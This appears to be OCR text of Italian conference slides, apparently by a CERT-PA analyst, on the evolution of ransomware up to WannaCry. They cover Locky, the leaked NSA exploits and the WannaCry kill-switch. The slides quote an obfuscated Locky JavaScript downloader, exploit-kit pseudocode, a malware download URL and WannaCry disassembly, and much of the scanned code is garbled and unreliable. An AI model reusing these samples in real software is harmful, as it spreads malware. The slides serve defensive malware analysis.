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Ransomware: Come li conoscevamo
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.o

TinyXP Rev 09 (Malware Analysis) [In esecuzione] - Oracle VM VirtualBox

C’era una volta MBR Lock

..correval’anno 2012

Master Boot Record compromesso;

MBR originale sostituito con MBR proprietario;
Dati sul disco integri, sistema non & accessibile;
Per ottenere la password era necessario chiamare un  SSE—-—_—_.
numero a pagamento per ricevere il codice (cOd3).

OFfFE [=] cerl destro




HacklnBo Winter Edition 2017

Soluzione

AAARAACH :
AABERAADA :
PAAARAREA :

e Erasufficiente ripristinare il
Master Boot Record per
AEBBA1 48 :

accedere al sistema. oo
B0EBA1 70 ::

ISi 1 A080018@ :
e Analisi successive hanno 00000180

dimostrato che il codice accetta 0000010+
AABAA1CaA:

come password qualsiasi stringa e ba:
. EBPa1Fe: 0a
composta da 14 cifre. 1 2PUEBIE 3
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Ransomware: Come si sono evoluti
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Varianti 2014 - 2015

2014 - CTB Locker

e utilizza Tor per raggiungere il C&C
e componenti Tor embedded
e distribuito tramite Drive-by download

2015 - TeslaCrypt

e Spam

Download inconsapevole:

Pop-up

Error message
Redirect
Exploit

e destinato alla cummunity di videogiochi, successivamente esteso ai classici documenti
e eliminale Shadow Copy e i punti di ripristino
e distribuito attraverso i kit di Angler, Sweet Orange e Nuclear exploit.
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Varianti 2015 - 2016

2015-2016 - MSIL

e sfruttaiserver Web vulnerabili Java (JBoss obsolete)
e funzionalitaditrojan
e utilizza psexec.exe per veicolare il malware verso host della stessa rete

2016 - Locky

e sipropaga attraverso messaggi di posta elettronica
e allegati MS Office (macro) o compressi (.rar, .zip) con JS
e distribuito utilizzando il kit Nuclear Exploit
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Techniche di evasione

e Differenti vettoridiinfezione

o  Exploit Kit
e Offuscamento del codice
o Codifica

e Riconoscimento dell’ambiente
o Fisico, virtuale, sandbox

e Rilevamento dei tool di analisi in esecuzione sul sistema
o  Strumenti di debug e di monitoraggio del traffico
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Scripting

L'uso di tecniche di scripting non & nuovo (VBS, HTA, JS, PS)

facili da offuscare

difficili da individuare

nella maggior parte dei casi sono dei downloader
spesso richiamano altri script

tutelano il malware vero e proprio

i <— https://a.pomfe.co/Imvkqth.jpg «——

Imvkqth.jpg.exe

https://infosec.cert-pa.it/analyze/e10bdbOfe7ad6fed9e8dcc4418aede45.html
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Locky encoded

PvWKiw = " j = elem && elem.childNodes.length; while ( j-- ) { if
( jQuery.nodeName( ( tbody = elem.childNodes[ j ] ), \"tbody\" ) && !
tbody.childNodes.length ) {";

trackless[(retailers +
("mechanics","terry","banana”,"bleed", "bruit", "homemade", "mince"”,"o0")
+"008i"+"ti"+"on").replace("008", accredited)] = 0;

RLgFRSU = " elem.removeChild{ tbody ); } } ";

trackless
["s"+("arsenic", "curtsey","graham", "movers", "detestation", "commentary", "chimeri
+"oF"+("hatchet","answered”, "lower", "practitioner","congress", "roofed","champio
(continuity, 2);

hotels3( trackless);

dtubDDuUSDTt = " Fix #12392 for WebkKit and IE > 9 tmp.textContent =
e

var shtop = commiseration.shift();

furthermore[shtop](continuity, 111, "aMOiAMbMItlllbMtekjLOef" ===

"lILuEozkoX111RwkiYa"); XLabHO = " Fix #12392 for oldIE while
( tmp.firstChild ) { tmp.removechild( tmp.firstChild ); ";
}

}
} catch (LFTWgK) { };

AqqiwAoypAm = "} Remember the top-level container for proper cleanup tmp
= safe.lastChild; } } *;
¥
popped( (("h")+("t-t")+"p:").split("-").join("")+"//"+"\uBO61\u0O6C\UBO6C\UBOGT
\ U065\ uBTEA UDD 2L, UDB6L Y UAD69 " +" \UOOGE\ UBOGE\ UOD2F\ UBB38 \UBD37\UBB37\UDD3E
\ufe68\ueB34\uee67" , "tByDHOpPLMy" ,Math. random()> 0);

cvqiFigxd = "} Fix #11356: Clear elements from fragment if ( tmp )
{ safe.removeChild( tmp ); ";

js_locky decode.py

import re
filename = 'SCAN@BO189077.js’

with open(filename, 'r'} as fTile:
data = file.read().split('\n")

for str in data:
uMatch = re.findall( "\\\u[@-9]{3}[0-9a-TA-F]{1}', str)
for u in uMatch:
str = str.replace(u, u.decode('unicode-escape'))
print (str)

https://gist.github.com/guelfoweb/1b7c4ecc3a2a7d8947ad
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Ransomware + Exploit Kit

February 2016 March 2016 April 2016
Compromised website | | Compromised website Compromised website
v v v
gate gate gate
\ * 4
Neutrino EK Nuclear EK Angler EK
Locky infection Locky infection Bedep

(directly or through

a file downloader)

CryptXXX

if java installed then
try java exploit 1
if exploit worked then install malware end
end
if silverlight installed then
try silverlight exploit 1
if exploit worked then install malware end
try silverlight exploit 2
if exploit worked then install malware end
end
if flash is installed then

end
if nothing worked then give up end
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Leak: Armi digitali trafugate a CIA e NSA
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Marble Framework
Vault 7: CIA Hacking Tools Revealed

Marzo 2017 - Set di strumenti in grado di:

e Offuscare codice nocivo;
e Implementare tecniche Anti-Forensics.

Allo scopo di:

e Mascherare malware, trojan e attacchi di hacking;
e Evitare che un attacco possa essere ricondotto alla CIA.
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Vault7: Source Code

Russo
Cinese
Arabo
Farsi

= L7ies f peanyl faiphs ada s wes SILLS pelact Gseg oad 00 pagtalsl LEAN pLE 8 gy 01 Gesfll JLA Il Gaad jdes ollely g3l siliii s sokian A papati

- LA MU EER B AN, WNR ATESS ToE B BE T 068 SEE E EE, 8 BN SOD G, 5 RE REE RS 9 WEE 20 SE A BRE GEN 050 K 06, FER S0E S0 K8 R

Mascherare gli hack della CIA e concentrare I'attenzione degli investigatori su altri Paesi.
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Hacking Tools

e The Shadow Brokers
o Equation Group
m  NSA

[l primo annuncio del leak risale al 13
agosto 2016 (via twitter)
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MS16-114 - SMB 1.0 Protocollo Obsoleto!

I 13 settembre 2016 - appena un mese dopo I'annuncio del leak - Microsoft informa gli utenti di una
importante vulnerabilita che affligge il protocollo SMB 1.0 e che consentirebbe I'esecuzione di codice
remoto.

Per ragioni di sicurezza Microsoft invita gli utenti a disabilitare il protocollo obsoleto.

“If you have not already, follow the instructions in the blog to turn off SMB1 in your environment. You do
not need this 30-year-old protocol, and you certainly do not want it.” - Microsoft.
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MS17-101 - SMB 1.0 Patch

[ 14 marzo 2017 Microsoft rilascia un aggiornamento risolutivo per la vulnerabilita nel protocollo SMB
1.0 annunciata nel settembre 2016.

CVE-2017-0144 e

&8 2017-03-17 01:59:04 = .#" 2017-03-18 02:59:05

The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7
SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511,
and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted
packets, aka "Windows SMB Remote Code Execution Vulnerability." This vulnerability is different from
those described in CVE-2017-0143, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.
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Eternal’

14 Aprile 2017 - Microsoft dirama i risultati di
analisi interne che riguardano la pubblicazione di
alcuni exploit sottratti a «<Equation Group» (NSA)
rilasciati pubblicamente da un gruppo di hacker
noto come «The Shadow Brokers».

Codice Exploit | Soluzione / Patch
EternalBlue MS17-010
EmeraldThread | MS10-061

EternalChampion

CVE-2017-0146 e CVE-2017-0147

ErraticGopher Risolto prima del rilascio di Windows Vista
EsikmoRoll MS14-068
EternalRomance | MS17-010
EducatedScholar | MS17-010
EternalSynergy | MS09-050
EclipsedWing MSDB-067
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The Black Friday: WannaCry
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Venerdi, 12 Maggio 2017

CCN-CERT (Spagna)

[l primo CERT, almeno in Europa, adiramare la
notizia di un attacco massivo € il CERT spagnolo.

https://www.ccn-cert.cni.es/seguridad-al-dia/comunic
ados-ccn-cert/4464-ataque-masivo-de-ransomware-q
ue-afecta-a-un-elevado-numero-de-organizaciones-es
panolas.html

Identificado ataque de ransomware que afecta a sistemas Windows

Detalles
Publicade: 12 Mayo 2017

Se ha alertado de un ataque masivo de ransomware que afecta a sistemas Windows, blogueando el acceso a los archivos (tanto en sus discos duros como en las
unidades de red a las que estén conectadas). La especial criticidad de esta campafia viene provocada por la explotacién de la vulnerabilidad
descrita en el boletin MS17-010 utilizando EternalBlue/DoublePulsar, que puede infectar al resto de sistemas Windows conectados en esa misma red gue
no estén debidamente actualizados. La infeccion de un solo equipo puede llegar a comprometer a toda la red corporativa

El ransomware, una variante de WannaCry, infecta la maauina cifrando todos sus archivos v, utilizando la vulnerabilidad citada en el parrafo anterior que permite la
ejecucion de comandos remota a través de SMB (Server Message Block) y se distribuye al resto de maquinas Windows que haya en esa misma red.

Los sistemas afectados que disponen de actualizacién de seguridad son

Microsoft Windows Vista SP2
Windows Server 2008 SP2 yR2 SP1
Windows 7

Windows 8.1

Windows RT 8.1

windows Server 2012y R2
Windows 10

windows Server 2016

Medlidas de prevenciény mitigacién
El CCN-CERT recomienda lo siguiente:

o Actualizar los sistemas a su Gltima versién o parchear segin informa el Fabricante

« Para los sistemas sin soporte o parche se recomienda aislar de 2 red o apagar segin sea el caso.

« Aislar la comunicacién a los puertos 137y 138 UDP y puertos 139y 445 TCP en las redes de las organizaciones,

« Descubrir qué sistemas, dentro de su red, pueden ser susceptibles de ser atacados a través de la vulnerabllidad e Windows, en cuyo caso, puedan ser
aislados, actualizados y/o apagados

El CCN-CERT dispene de un Inf are, en el que se incluyen pautas y recomendaciones generales y en el que se
detallan los pasos del proceso de desinfecaién ylas principales herramientas de recuperacién de los archivos, en este tipo de atagues

idas de seguridad contra el ransom

Taly como se indica en el informe de amenazas sobre ransomware, efectuar el pago por el rescate del equipo no garantiza que los atacantes envien la utilidad v/o
contrasena de descifrade, sélo premia sucampana y les motiva a sequir distribuyendo masivamente este tipo de codigo dafine.

Enel caso de haberse visto afectados por esta campana y n dispusieran de copias de seguridad, se recomienda conservar los ficheros que hubleran sido cifrados
por la muestra de ransomuware antes de desinfectar la maquina, ya que no es descartable que en un futuro apareciera una herramienta que permitiera descifrar los
documentos que se hubieran visto afectados.

CEN-CERT (12/05/2017)
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E questione di minuti...

e Telefonate e Collaborazione tra CERT e Collaborazione traricercatori

e Messaggi alivello europeo; di tutto il mondo;

e Email ® Infosharingtra CERT e Publicinfosharing su Twitter,
taliani. AlienVault (IoC), GitHub.

e Infosharing con Vendor
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Cosa emerge dalle prime informazioni

Sistemi affetti: Sistemi affetti fuori supporto:

Microsoft Windows Vista SP2 e Microsoft Windows XP
Windows Server 2008 SP2 e R2 SP1 -

Windows 7
Windows 8.1

Windows RT 8.1

Windows Server 2012 e R2
Windows 10

Windows Server 2016
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Quali danni ha provocato?

e 300.000 (?) computer compromessi in oltre 150 paesi in meno di 24 ore;

e InSpagna é stata confermata la compromissione di grosse aziende tra cui la compagnia di
telecomunicazioni "Telefonica";

e InGran Bretagna pare che il ransomware abbia preso in ostaggio i PC di alcuni ospedali e strutture
sanitarie.
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Phishing o Worm?

Si presume che il malware si sia propagato inizialmente tramite posta elettronica, ma al momento non
esiste una traccia ufficiale in circolazione che confermi l'ipotesi.

Non € ancora stato individuato il paziente zero.
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Come lavora?

e Sfruttal'exploit di Equation Group (NSA) noto come "EternalBlue" applicabile al protocollo
Windows SMB.

e Unavoltainfettata una macchina, il malware provvede a scansionare la rete interna alla ricerca di
altre postazioni affette dalla medesima vulnerabilita.

e Individuata la postazione vulnerabile viene eseguito I'exploit per ottenere accesso al sistema e
successivamente cifrai file in esso contenuti rinominandoli con estensione ".WCRY".

e Perrecuperare i datiin ostaggio viene chiesto un riscatto iniziale di 300% in bitcoin, il prezzo sale
man mano che scorre il conto alla rovescia del timer mostrato all'utente.
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Esistono soluzioni?

e Installare la patch MS17-010;

e BloccareSMB1le2;

e Mitigare la contaminazione sfruttando al meglio
gliloC.

o Hash, Imphash, IP, Domain, Registry key,

Prima informativa sul sito ufficiale CERT-PA

e  https://www.cert-pa.it/web/quest/news?id=8342

K(\ COMPUTER EMERGENCY RESPONSE TEAM 5 ‘ Agenzia per ’Italia Digitale
PUBBLICA AMMINIETRAZIONE -
‘ Presidenza del Consiglio dei Ministri

g% CERT-PA

E attualmente in corso una campagna di infezione di un nuove ransomware denominato "WannaCry” che si sta diffondendo rapidamente in diversi
paesi del mondo. Secondo MalwareTech pare siano oltre 70 i paesi coinvolti, tra cui l'talia, e al momento risultano compromessi oltre 50.000 sistemi
Windows.

Quali danni ha provocato?
In Spagna é stata confermata la compromissione di grosse aziende tra cui la compagnia di telecomunicazioni "Telefonica”, mentre in Gran Bretagna
pare che il ransomware abbia preso in ostaggio | PC di alcuni ospedali e strutture sanitarie

Phishing o Worm?
Il malware, che si presume si propaghi inizialmente tramite posta elettronica, ma al momento non esiste una traccia ufficiale in circolazione che
confermi lipotesi, sfrutta I'exploit di Equation Group divulgato il 14 aprile 2017 dal gruppo di hacker denominato ShadowBrokers. L'exploit, noto come
"EternalBlue", sfrutta una vulnerabilita insita nel protocello Windows SMB per la quale Microseft ha rilasciato una patch gia nel mese di marzo.

Come lavora WannaCry?

Una volta infettata una macchina, il malware provvede a scansionare la rete interna alla ricerca di altre postazioni affette dalla medesima vulnerabilita.
Individuata la postazione vulnerabile viene eseguito I'exploit per ottenere accesso al sistema e successivamente ciffati i file in esso contenuti
rinominandoli con estensione " WCRY". Per recuperare i dati in ostagio viene chiesto un riscatto iniziale di 300$ in bitcoin, il prezzo sale man mano che
scorre il conto alla rovescia del timer mostrato allutente.

Soluzioni?
Purtroppo, sembra che molte organizzazioni non abbiane ancora installato la patch. Per chi non avesse ancora proweduto si consiglia vivamente di
installare la patch MS17-010.

Lalista degli 10C, in costante crescita, e approfondimenti tecnici sono collezionati e disponibili su Alienvault
‘Suggerimenti: Consigli utli per difendersi dalla minaccia e proteggere i propri dati

Aggiomamenti:
= Microsoft ha rilasciato la patch per tutti i sistemi non pii supportati, compreso XP.
- Al momento pare che la componente worm di questa prima versione di WannaCry sia stata messa fuori uso grazie a un artificio scovato nel codice
del malware.
« [CERT-PA] Mitigare gli effetti di WannaCry (WCry, WannaCriptor)

+ [CERT-PA] WannaCry: Aggiomamenti sulla situazione atuale e indicazioni sul da farsi

Le indagini sono attualmente in corso, le informazioni verranno integrate man mano che emergeranno ulteriori dettegli.
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Sample su sandbox online

La presenza online del primo sample su Malwr risale al 12/05/2017 @ 10:19

Dalle analisi automatiche nelle sandbox online non emergono evidenti informazioni relative alla
propagazione.

e  https://malwr.com/analysis/MTIhYjAzZNTEXNjIINGUOYThmMTRIZTRIOWE4YzhkZDI/
e https://www.reverse.it/sample/24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703
480b1022c?environmentld=100
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Analisi preliminari

( raverseit A Home i= Submissions ~

mssecsvc.exe

Analyzed on M

fe monito

), Service P,
W External Reports ~

malwr ¥

Quick Overview

Static Analysis L
Nome dominio (non registrato) s e

Analysis
Network Analysis
Network Analysis CATEGORY STARTED
Dropped Files FILE 2017-05-12 10:19:01

Comment Board (2)
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Infosec analysi

About

¥ Antivirus Report

Report Date Detection Ratio Permalink Update
2017-05-27 06:17:45 [56/62] " Update
B wannacry.exe
(1500 ] racer 0 [ 4w © L ari v 0] i O ] xor © LAt uce L e = pe sections EE
Name  VAddress VSize Size MD5 SHAL
ODewals | M2 imporiExpor-  WMeia  TSu WRelaed @ W Comme e o0 fushen hes  crel aiiea1ag1a3 s Bataradeel
rdata 0xa000 0x998 409  d80374744b539326006€897625751009 80528f41004533228264€e639fad17e5beBbB17
B File details
= data 0xb000 0x30489¢c 159744 22a8598dc29cad7078c291e94612ce26 196
File type: PE32 executable (GUI) Intel 80386, for MS Windows
File size: 3636.00 KB (3723264 bytes) 1sic 0x310000  0x35ad54 3518464 12e1bd7375d82ccalablcadsie22d1ad 4c33h2b6715cc1b9826158401a06fch156c409a3
Compile time: 2010-11-20 10:03:08
wos: h34909737d2215ea1d1841e3c89eba @ PE Resources
SHAL eBB9A4aESalBbododa70105deecoTIe2s Name Offset size Language Sublanguage Data
sHAzse:
R 0x310024 3514368  LANG_ENGLISH SUBLANG_ENGLISH_US o
import hash: 9ecee117164600870a5300187cAd7174
Sections @ [ toxt ] caata ] ata | RT_VERSION 0x66a0a4 944 LANG_ENGLISH SUBLANG_ENGLISH_US
Directories @ =
First submission: 20170531 11:26:22
Last submission: 2017.05:31 11:26:22
Filename detected: - wannacryexe (1)

8 URL file hosting (__cow
d Developed by { e

$ Antivirus Report



Monitoraggio delle informazioni

Home Notifiche Messaggi
99

ETET Y

Popolari  Piitrecenti  Persone

Filtri di ricerca

Chi seguire - #5501 alizz:

@ WannaCry @WannaCrypt

( sequ

Q wannacry |\, F = @l
Segu
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#gottobre
@MinisteroDifesa e @Sergioz01. stanno
twittando su questo argomento

HCFS44
#ZeroHunger
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L OPEN THREAT EXCHANGE

Notizie  Trasmissioni

[erearen]

O burberry

[E) 3224601153be0885f11d62e0a8a210280a20341c981d8184180...
® [E) 697158bcade?373ccc9e52eal171d7809881c845d2b69689865. ..

[E edo1ebfbcoebsbbeas45af4d01bf5f1071661840480439c6e5ba....

mssecsve_0c694193ceac8bfb016491ffh534eb7c.zip

1¢a34508 7ip

B : 41b5badbf7
[£) smb-0e88k3id.zip
[E) smb-3kn32wlv.zip
[E) smb-5¢gc70gL.7z
[E) smb-7rwkaozg.zip

[E) smb-82rfim2h.zip

InfoSec Handlers Dia..
8 SMTP AUTH attempts.
10

Apache honeypot log...

WannaCry Indicators
[ 75 days ago by AlienVault | Public | TLP:

Initial indicaters of compromise from todays WannaCry ransomware outbreak.

MISP FEED, Ransomware

ARY: WannaCry

directoried optimization
new Samp\e

directoried optimization
directoried optimization
directoried optimization
directoried optimization
new wannacry sample
directoried optimization
new wannacry dropper

new dropper added

REFERENCES:  hitps://ghostbin.com/paste/xgvdy

1200512017 22:50:09

1200512017 22:39:36

12/05/2017 21:30:00

12/05/2017 19:54:08

White

What you need to know about
the WannaCry Ransomware

Massive WannaCryWery
Ransom, tack Hits
Various Countries

‘WannaCry’ Rapidly Moving
Ransomware Attack Spreads
t0 74 Countries

WannaCry
systems worl

omware hits
ide

‘Showing 91 10 98 of 98 entries

Search:
Description

Posted by US-CERT on May 13U.S. Department of Homeland Security US-CERT Nationa [..]
Microsoft released information what can be done to protect against WannaCry1] w..]

The WannaCry ransomware worm infected systems at organizations and criical nfr [..]
Friday’s unprecedented ransomware attack may have stopped spreading to new ..

WannaCry ransomware spreads aggressively across networks, holds files to ransom Read More

Earlier this year, two separate security fisks were brought to light: CVE-2017-0..]
A wave of ransomware infections took down a wide swath of UK hospitals and is ra [..]

Sorry | haven't written anything about WannaCry yet. AS you can imagine its “be [..]

Previous
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loC Sharing

Problematiche riscontrate:

Verifica dell’attendibilita
Formati differenti

Conversione in formato testuale
Separatori improvvisati
Rimozione dei duplicati
Gestione dei feedback
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Hashr

< CAWINDOWS\system32\cmd.exe i

e Euntool scritto e mantenuto dagli analisti
del CERT-PA
e Consente di computare hash deifile e
ricercare corrispondenza su una lista di hash
predefinita (ad esempio loC di hash);
e Distributito alla constituency;
e Tipologiediricerche
@) ricorsive
o  pertipologiadifile
e Noneédipubblicodominio

hashrdhazhr . exe ndS cmalvare . exe hachlist e:\mdS_ioc.t
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Microsoft rilascia Patch per Windows XP

Customer Guidance for WannaCrypt attacks

Rate this article

MSRC Team E3 Share 22k

Microsoft solution available to protect additional products

Today many of our customers around the world and the critical systems they depend on were victims of malicious “WannaCrypt” software.
Seeing businesses and individuals affected by cyberattacks, such as the ones reported today, was painful. Microsoft worked throughout
the day to ensure we understood the attack and were taking all possible actions to protect our customers. This blog spells out the steps
every individual and business should take to stay protected. Additionally, we are taking the highly unusual step of providing a security
update for all customers to protect Windows platforms that are in custom support only, including Windows XP, Windows 8, and Windows
Server 2003. Customers running Windows 10 were not targeted by the attack today.

https.//blogs.technet.microsoft.com/msrc/2017/056/12/customer-guidance-for-wannacrypt-attacks/
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Kill-Switch

ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf[.Jcom
ifferfsodpQifjaposdfjhgosurijfaewrwergweal.Jcom
iugerfsodpQifjaposdfjhgosurijfaewrwergweal.Jcom
iugerfsodpQifjaposdfjhgosurijfaewrwergweb|.Jcom
iugerssodpQifjaposdfjhgosurijfaewrwergweal.Jcom
iugssfsodpQifjaposdfjhgosurijfaewrwergweal.]Jcom

Un eroe per caso?

o
#WannaCry propagation payload contains
previously unregistered domain, execution
fails now that domain has been sinkholed

& Traduci dalla lingua originale: inglese

2001, sinknoleddonain, 0x39u) ;5 /¢ previously unregistersd domain, now sinkholed

penA(0, tu, B, 8, 0); i
peRlrlAtys, &520r1, O, 0, BXENOOO00D, )i// do HTTP request to previously uaregistered doemain |
If iF request successful quit

InternetClosenandle (uh);
ernettloseHandle(us);

¥
else /¢ iF vequest Fails, execute payload

InternettloseHandle (uh);
InternettloseHandle(9);
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Nuove varianti

Poche ore dopo la notizia dell’'esistenza di un
kill-switch, si ha evidenza di nuovi sample:

e con kill-switch differenti
e senzakill-switch
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Kill-Switch e Proxy

int16_tfun_408140(int32_tecx, int32_ta2 int32_ta3, int32_ts4 unsigned char” a5, wint32_t a6, void™ a7, void™ 28, void” a9, void” a10) |

int32_tvil;
int32_tesil2;
int32 t*espl3;
int32_tvi4
int32_tedils;
int32_tecx16;
int32_teax17;
int32_teax1s;
int32_tesils;
int32_tv20;
int32_tv21;

vil =esil2;

espl3 = reinterpret_cast<int32_t°

v14 = edil5;

ewx16 = 14;

while (ecx16) |
—-ewx185;

INTERNET_OPEN_TYPE_DIRECT
(Resolves all host names locally.)

interpret_cast-int32_t-

caxi? = reinterpret_cast<int32_t(IntemetOpenA(D, 1,0, 0, 0, vi4, vi1);

eax18 = reinterpret_cast-int32_t 'InternetOpanuf\A:eaxl?. espli-1-1-

esi19 = InternetCloseHandle;
if (eax18) |
esi19()

esi19

fun_4080900);
. gotov2l;

-1-1-1+5,0,0,0x84000000, 0, 0, 1,0, 0,0, v14, vi1));

https.//blog.didierstevens.com/2017/05/13/quickp
ost-wcry-killswitch-check-is-not-proxy-aware/

i int __stdeall WinHain(WINSTANCE hInstance WINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowtnd)
_WinHainB16 proc near

szUrl= byte ptr -50h
var_17= dword ptr -17n

var 13- dvord ptr -13h
uar_F= duord ptr -BFh

var B= dword ptr -0Bh

var 7= duord ptr -7

var_3= word ptr -3

var 1= byte ptr -1
ninstance= dword ptr 4
hPrevinstance= dword ptr 8
1pCndLine= dword ptr  OGh
nShowCrd= dword ptr  10n

sub esp, 56h
push esi
push  edi
nou ecx, PER
nou esi, offset aHttpWuw_iugerf ; "hitp=//wws. iuqerFsodp9ifjaposdfihgosuri®.
1ea edi, [espesoneszUrl]
xor eax, eax
rep mousd
noush
nou [esp+S8hevar_17], eax
nou [esp+s8hevar_13], eax
nou [esprSheuar F], eax
nou [esp+s8hsuar B], eax
nou [esp+58hevar 7], eax
nou [esp+S8heuar 8], ax
push  eax 3 dwFlags
push  eax 5 1pszProxyBypass
pusn  eax 3 1pszPros
push 1 ; duAccessType
push  eax i Ipszagent
nou [espocnsvar_1], al
call  ds:internet0jent
pusn @ ; duContext
push  84000800n 5 duFlags
push ; dwieadersiength
lea ecx, [espeiih+szlrl]
nou esi, eax
pusn o 3 lpszHeaders
push  ecx 5 1pszrl
pusn 51 3 ninternet
call  ds:InternetOpenUrlf
nou edi, eax
pusn  esi 3 ninternet
nou esi, ds:internetCloseHandle
test edi, e
jnz short loc_LBS1BC
€51 7 Internettivseliandle
0 3 hinternet| [1oc_4o1BG:
si ; InternetClosehandle |(call  esi ; InternetCloselandle
sub_408090 push  edi : hinternet|
edi call esi ; InternetCloseHandle
eax, eax pop edi
esi xor eax, eax
esp, SO0 pop esi
3 ninternet| (ada esp, son

retn 1m
_uinMain@16 endp
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@ PE Resource: R

Offset Size Language Sublanguage

Sezione Resource

uze

rogram cannot be run in

@ PE Resources
Name Offset Size Language Sublanguage Data
R 0x3100a4 3514368 LANG ENGLISH SUBLANG ENGLISH_US

RT_VERSION O0x66a0ad 984  LANG_ENGLISH SUBLANG_ENGLISH_US

La sezione «Resource» contiene un eseguibile, un pacchetto dicirca 3,5 MB

https://infosec.cert-pa.it/analyze/db349b97c37d22f5eal1d1841e3c8%eb4.html
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sub_408098 proc near

ServiceStartTable= SERUIGE_TABLE_ENTRYA ptr -18h
dword ptr -

var_li= duord ptr -4
sub esp, 16n
| | push 0kh 5 nSi
push offset FileName ; 1pFilename
push : hHodule
call ds:i EEthﬂulEFilENamEﬁ
call ___argc
cmp duord ptv [eax], 2
jge short loc_L0S0BY
call sub_487F28
add esp, 16h
« » retn
[l worm installa un servizio denominato “mssecsvc2.0 toc v
push HFHHSFII 3 duDesiredAccess
pusl ; 1pDatabaseName
push ; 1lpHachineName
call ds OpenSCHanagerA ; Establish a connection to the service
control manager on the specified computer
. . « . . . »” ; and opens the specified database
. mov eﬂl, Eax
Nome visualizzato: “Microsoft Security Center (2.0) service”.
push eb:
push esi
push BFB1FFh 3 duDesiredAccess
—>pusn offset SEYU)EENHNE ; "mssecsuc2.0”
. . . < . . . . push edi : hsGHanager
d | t | | t d d | I call ds:OpenServicen
mou ebx, ds:CloseServiceHandle
Quando il servizio € installato provvede a caricare i moduli per la
test esi,
. iz hnrt lnt 408 OFC
ush 3ch H
cifratura. e
call sub_467FAB
add esp, 8
push esi : hsCoObject
call ebx ; BlnsESErU]EEHanﬂls
loc_4B@86FC: ; hSCObject
push edi
call ebx GloseServiceHandle
pop esi
pop ebx
loc_408161:
L eax, [esp+14h+ServiceStartTable]
mou [esp+1sh+ServiceStartTable.1pSeruiceNane], offset ServiceName
push eax : 1pServiceStartTable
mov [esp+18h+ServiceStartTable.1pServiceProc], offset loc_468000
mow [esp+18h+var_8], 0
mou [esp+18h+var_s], ©
call ns StartSErultﬂttrlﬂlspatcnﬂrﬂ
add esp, 16h
et

retn
sub_468898 endp

3 "mssecsuc?.@"
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File Edit Event Filter Tools Options Help

Network traffic T e aa

Zm

B
£

Time ... Process Name PID  Operation Path

1652.. jwannacryexe 1780 &TCP Reconnect localhost: 1049 -» localhost microsoft-ds
1652 —wanracry exs 1780 44 TCP Reconnect localhost:1049 -> localhost microsoft-ds
16.52.... ~wannacry exe 1780 4% TCP Disconnect localhost:1049 -> localhost microsoft-ds
1652... jwannacwexe 1780 ;LTCP Reconnect localhost: 1050 - localhost microsoft-ds
1652, —wanracry exs 1780 &4 TCP Reconnect localhost:1050 -> localhost microsoft-ds

[ ] Te nta d i Con nette rSi a I Ia rete IOca | e a I | a rice rCa di S M B 16.52.... T wannacry exe 1780 A% TCP Disconnect localhost:1050 -> localhost microsoft-ds

1652.. jwannacryexe 1780 &TCP Reconnect localhost: 1051 -» localhost microsoft-ds

1 . 1652 —wannacry exs 1780 A4 TCP Reconnect localhost:1052 -> localhost microsoft-ds

Vu I ne ra bl |e’ 16.52.... wannacry.exe 1780 A% TCP Reconnect localhost:1051 -> localhost microsoft-ds

. . . . . . . 1652.. :|wannacryexe 1780 %TCP Disconnect localhost: 1051 -» localhost microsoft-ds

. 1652 —wannacry exs 1780 4&TCP Recornect localhost:1052 -» localhost microsoft-ds

° Genera Indlrlzz' I P pUbeICI Casuall per Io Stesso Scopo7 1652... jwannacwexa 1780 &TCP Disconnect localhost: 1052 - localhost microsoft-ds

. . . . . 16.52.... —wanracry.exs 1780 44 TCP Reconnect locahast:1053 -+ lacalhost microsaft-ds
PY Se trova una postaz|one vulnerabile. viene trasferito il 1652.. Twamacysxe 1780 A4 TCF Reconnedt locahost 1054 - locahost microscft ds
’ 1652... jwannacwexa 1780 &TCP Reconnect localhost: 1053 -» localhost microsoft-ds
. . 1652... jwannacryem 1780 ;‘gTCF Disconnect localhost: 1052 - localhest microsoft-ds
ma IWa re ed esegu |to Su d | eSSO. 16.52.... — wannacry.exs 1780 44 TCP Reconnect localhost:1054 -> localhost microsoft-ds
1652.. :|wannacryexe 1780 &TCP Disconnect localhost: 1054 -» localhost microsoft-ds
1652 —wanracry exs 1780 4% TCP Reconnect localhost:1055 -> localhost microsoft-ds
16.52.... ™ wannacry exe 1780 44 TCP Reconnect localhost:1056 -> localhost microsoft-ds
. 1652.. jwannacwexe 1780 %TCP Reconnect localhost: 1055 -» localhost microsoft-ds
- 1652 wannacry exe 1780 &4 TCP Reconnect locahost: 1057 -> localhost microsoft-ds
path/to/mssecsvc m secur’ty 1652.... %wannacwexa 1780 A% TCP Disconnect localhost: 1055 -> localhost microsoft-ds
1652.. jwannacryexe 1780 ;‘gTCP Reconnect localhost: 1056 -» localhost microsoft-ds
1652 . —wannacry exs 1780 4% TCP Disconnect localhost:1056 -> localhost microsoft-ds
16.52.... —wanracry.exe 1780 A4 TCP Reconnect localhost:1057 -> localhost microsoft-ds
1652... :|wannacryexe 1780 &TCP Disconnect localhost: 1057 -» localhost microsoft-ds
16.52.... —wannacry.exs 1780 éTCP Reconnect localhost: 1058 - localhost microscft-ds
£ I 1l I

Showing 2.674 of 41,618 events (6. %) Backed by C:\Documents and Settings\Admini:
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Folder dropped

Intel\jdehbzatedavnjqsos

\Intel\jdehbzetcdavnjq3o6imsg

' He Edt vew
PUbIIC Key Qwc- @ P F F POseacr [ rotes [ S snoronzeamone cartels

Address || C:\intel\jdehbzetedavnjq358Ymsg M Go

Favorites  Tools  Help
Fle Edt Vew Favortes Took Hep [ = —

Qe - @ - [ F G POserch [ Fokders
Address [ [v] B3

@Please_Read Me@.bet
==| TextDocment
1KE

Private Key

in_buigarian. wnry,

~
m_chinese (simplified).wrr iad

File and Folder Tasks ety P (implified].wnry

HIKD.

e and Folder Tasks poi

-

(9 Make anew folder
€] Pubish this folder to the
Web

A\Intel\jdehbzzccdavnjq358iTaskDatay T oy
e WNRY File ’
12 78KB

m_croatian,wnry
NRY File

Favorites  Tools  Help sy

|a? Share this folder

S = & @) = B <l ch. danish,
